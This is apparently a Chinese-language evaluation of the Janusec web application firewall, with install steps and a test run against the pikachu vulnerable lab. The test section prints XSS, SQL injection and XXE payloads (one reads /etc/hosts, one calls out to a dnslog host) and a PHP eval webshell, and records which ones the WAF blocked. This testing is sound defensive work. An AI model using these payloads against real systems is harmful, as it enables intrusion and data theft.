产品信息简介¶
| 名称 | 开源协议 | 开发语言 | 开源时间 | 活跃度 | 代码质量 | 最新版本 | 厂商 |
|---|---|---|---|---|---|---|---|
| Janusec | GNU AGPLv3 | Go | 2021-04-5(1.0.0) | 923⭐️ | 2022-04-03 (1.2.9) | 个人开发者 |
产品描述¶
Janusec应用网关,一种适用于各种场景(公有云、私有云、传统IDC等)的应用安全解决方案,提供WAF(Web应用防火墙)、CC防护、身份认证、安全运维、Web路由、负载均衡、自动化证书等功能,可用于构建安全的、可扩展的应用。
功能¶
- WAF (Web Application Firewall, Web应用防火墙,天然支持
HTTPS且不需要Agent ) - CC防护(多道防线)
- 统一的Web化管理
- 证书加密保护
- 负载均衡(可扩展的部署架构)
- SQL注入
- 跨站脚本
- 敏感数据泄露
- CC攻击
- 阻断(
Block)、验证码(Captcha)等多种策略 - 支持多个检查点的组合策略
让管理更简单¶
- 统一的Web化管理中心
架构可扩展¶
- 多网关节点支持
- 自动化策略同步
证书保护¶
- 私钥加密存储
- 只在内存使用
安装¶
quick-start docker¶
- download images
docker pull registry.cn-shenzhen.aliyuncs.com/janusec/janusec:1.2.3
# 测试容器版本1.2.3 最新版本为1.2.9
- run
docker run -d --privileged=true --restart=always -p 80:80 -p 443:443 -p 9080:9080 -p 9443:9443 registry.cn-shenzhen.aliyuncs.com/janusec/janusec:1.2.3 /sbin/init
- 修改测试域名 使用[[开发测试工具-SwitchHosts]]添加测试域名
#WAF-test
10.9.95.230 waf.com
- 修改密码 初始用户密码:
- admin
- J@nusec123 (登录后会提示修改)
- 使用参见文档介绍
主机部署¶
需求¶
| 节点 | 操作系统 | 数据库 |
|---|---|---|
| 主节点 | Debian 9/10/11+, CentOS/RHEL 7/8+, 首选Debian 10, x86_64, 使用 systemd和nftables | PostgreSQL 10/11/12+ |
| 副本节点 | Debian 9/10/11+, CentOS/RHEL 7/8+, 首选Debian 10, x86_64, 使用 systemd和nftables | 不需要 |
准备主机防火墙nftables¶
nftables用于拦截CC攻击,减轻应用网关压力。 CentOS 7默认没有安装nftables,需要手工安装并启动:
yum -y install nftables
systemctl enable nftables
systemctl start nftables
# 查看规则
nft list ruleset
下载¶
cd ~
wget `https://www.janusec.com/download/janusec-1.2.9-amd64.tar.gz` tar zxf ./janusec-1.2.9-amd64.tar.gz
安装¶
请切换到root用户并运行 install.sh , janusec应用网关将安装在目录: /usr/local/janusec/
su
cd janusec-1.2.x-amd64
./install.sh
选择 1. Primary Node, 然后安装程序会:
- 将所需文件复制到
/usr/local/janusec/ - 将服务配置文件复制到系统服务目录
- 将Janusec应用网关服务设置为自动启动,但首次安装时不会启动,需要在配置完成后手工启动一次.
配置¶
PostgreSQL没有包含在发布包中,需要自行准备PostgreSQL数据库、数据库、账号,可参考运维管理中的PostgreSQL安装。
现在我们假设您已经安装好了PostgreSQL,且数据库已创建,用户名和口令已准备好。
然后编辑 /usr/local/janusec/config.json :
主节点 (第一个节点,必选)¶
可参考配置文件说明,其中:
“node_role”: “primary” ( 固定为 `primary` )
副本节点(可选)¶
通常多个小型应用只使用一个主节点就够了。
当流量增长后,可使用副本节点扩展,需要配合您自己的GSLB(全球服务器负载均衡)或支持分区解析的DNS来实现(也就是说,不同地区的用户,会连接到不同的网关节点)。
可参考配置文件说明,其中:
“node_role”: “replica” ( 固定为
replica)
并配置"replica_node"中的内容:
“node_key”: “从管理后台节点管理中复制过来”,
“sync_addr”: “https://gateway.primary_node.com:9443/janusec-admin/api”
说明:
- 如果使用了副本节点,请为主节点单独申请一个域名(例如gateway.primary_node.com,用于副本节点获取配置更新,该域名只指向主节点),并且配置一个应用(Application),Destination可配置为127.0.0.1:9999 (实际不使用)。
- 如果"primary_node" - “admin” - “listen” 为false,“sync_addr"中请勿包含冒号和端口号,如"https://gateway.primary_node.com/janusec-admin/api”
启动¶
systemctl start janusec
测试安装¶
打开浏览器(比如Chrome),使用如下地址:
在config.json中,如果 “primary_node” - “admin” - “listen” 为false,则管理入口为:
http://
您的网关IP地址/janusec-admin/ , 这是Janusec应用网关的第一个管理地址
https://您的任意应用域名/janusec-admin/ (在配置证书和应用之后可以使用)
如果 “primary_node” - “admin” - “listen” 为true,则默认管理入口为:
http://
您的网关IP地址:9080/janusec-admin/ , 这是Janusec应用网关的第一个管理地址
https://您的任意应用域名:9443/janusec-admin/ (在配置证书和应用之后可以使用)
默认用户名:admin
默认口令:J@nusec123
高可用部署¶
使用&测试¶
应用配置¶
使用pikachu靶场作为后端服务进行测试

测试¶
1.目录扫描¶
使用OWASP DirBuster 0.12 进行目录暴力破解,Janusec未拦截,dashboard为显示漏洞攻击告警

2.XSS注入-手动测试¶
反射型XSS-get¶
- 出入框中测试
<>Jordan验证是<>是否会被过滤掉
如图即使经过WAF,输入的查询内容依然原封不动的输出到标签中,可以一进步测试。
测试JS代码
<script>alert("xss")</script>
注意:前端对输入长度进行了限制,需要修改前端标签的长度限制进行绕过
绕过WAF直接请求后端服务
经过WAF请求结果命中Policy ID 10114 Basic XSS Tags策略

Policy ID 10115 Basic XSS Functions
Policy ID 10116 Basic XSS Event

存储型xss💀¶
浏览版输入<script>alert("xss")</script>成功弹窗,WAF失效

CC防护¶
测试存储型XSS,反复删除留言板时出发CC防护策略

3.SQL注入-手工¶
字符型注入-get¶
输入kobe' or 1=1#经过WAF 命中 Policy ID: 10106

搜索型注入¶
输入k%' or 1=1#经过WAF命中Policy ID: 10102
XX型注入¶
输入kobe') or 1=1#经过WAF命中Policy ID: 10106
4.RCE¶
输入phpinfo();经过WAF命中webshell Policy ID: 10112

5.XXE💀¶
输入palyload,经过WAF为被阻断,失败
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/hosts"> ]> <x>&f;</x>

XXE带外测试失败💀¶
输入
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://a5kps8.dnslog.cn" >
]>
<value>&xxe;</value>

6.文件上传-webshell¶
客户端check¶
绕过前端限制,删除onchange="checkFileExt(this.value)"上传PHP webshell成功
<?php
eval($_POST["pass"]);
经过WAF被banner

7.OWASP Top 10¶
使用OWASP ZAP 2.11.1测试
测试项及结果
| 强度 | 进展 | Elapsed | Reqs | 警报 | 状态 | |
|---|---|---|---|---|---|---|
| 分析仪 | 00:00.216 | 36 | ||||
| Plugin | ||||||
| Path Traversal | 中等的 | 100 | 09:38.184 | 159 | 0 | 完成 |
| 远程文件包含 | 中等的 | 100 | 08:49.120 | 80 | 0 | 完成 |
| Source Code Disclosure - /WEB-INF folder | 中等的 | 100 | 00:01.608 | 7 | 0 | 完成 |
| External Redirect | 中等的 | 100 | 18:48.339 | 172 | 1 | 完成 |
| Server Side Include | 中等的 | 100 | 08:39.117 | 102 | 0 | 完成 |
| Cross Site Scripting (Reflected) | 中等的 | 100 | 04:19.813 | 137 | 0 | 完成 |
| Cross Site Scripting (Persistent) - Prime | 中等的 | 100 | 01:19.335 | 29 | 0 | 完成 |
| Cross Site Scripting (Persistent) - Spider | 中等的 | 100 | 02:04.693 | 184 | 0 | 完成 |
| Cross Site Scripting (Persistent) | 中等的 | 100 | 00:30.836 | 0 | 0 | 完成 |
| SQL Injection | 中等的 | 100 | 09:39.681 | 97 | 0 | 完成 |
| Server Side Code Injection | 中等的 | 100 | 04:33.695 | 74 | 1 | 完成 |
| Remote OS Command Injection | 中等的 | 100 | 15:10.048 | 147 | 1 | 完成 |
| Directory Browsing | 中等的 | 100 | 02:02.420 | 185 | 32 | 完成 |
| 缓冲区溢出 | 中等的 | 100 | 00:19.764 | 31 | 0 | 完成 |
| 格式字符串错误 | 中等的 | 100 | 03:33.630 | 65 | 0 | 完成 |
| CRLF Injection | 中等的 | 100 | 17:50.856 | 169 | 0 | 完成 |
| Parameter Tampering | 中等的 | 100 | 09:14.914 | 74 | 0 | 完成 |
| ELMAH信息泄漏 | 中等的 | 100 | 00:20.010 | 0 | 0 | 完成 |
| .htaccess Information Leak | 中等的 | 100 | 00:34.186 | 35 | 0 | 完成 |
| Script Active Scan Rules | 中等的 | 100 | 00:00.000 | 0 | 0 | 跳过,未启用任何脚本 |
| 跨站点脚本(基于DOM) | 中等的 | 100 | 00:05.864 | 0 | 0 | 跳过,启动或连接浏览器失败 |
| SOAP Action Spoofing | 中等的 | 100 | 00:00.503 | 0 | 0 | 完成 |
| SOAP XML Injection | 中等的 | 100 | 00:19.623 | 0 | 0 | 完成 |
| 总计 | 117:34.853 | 2298 | 35 |
WAF dashboard显示结果
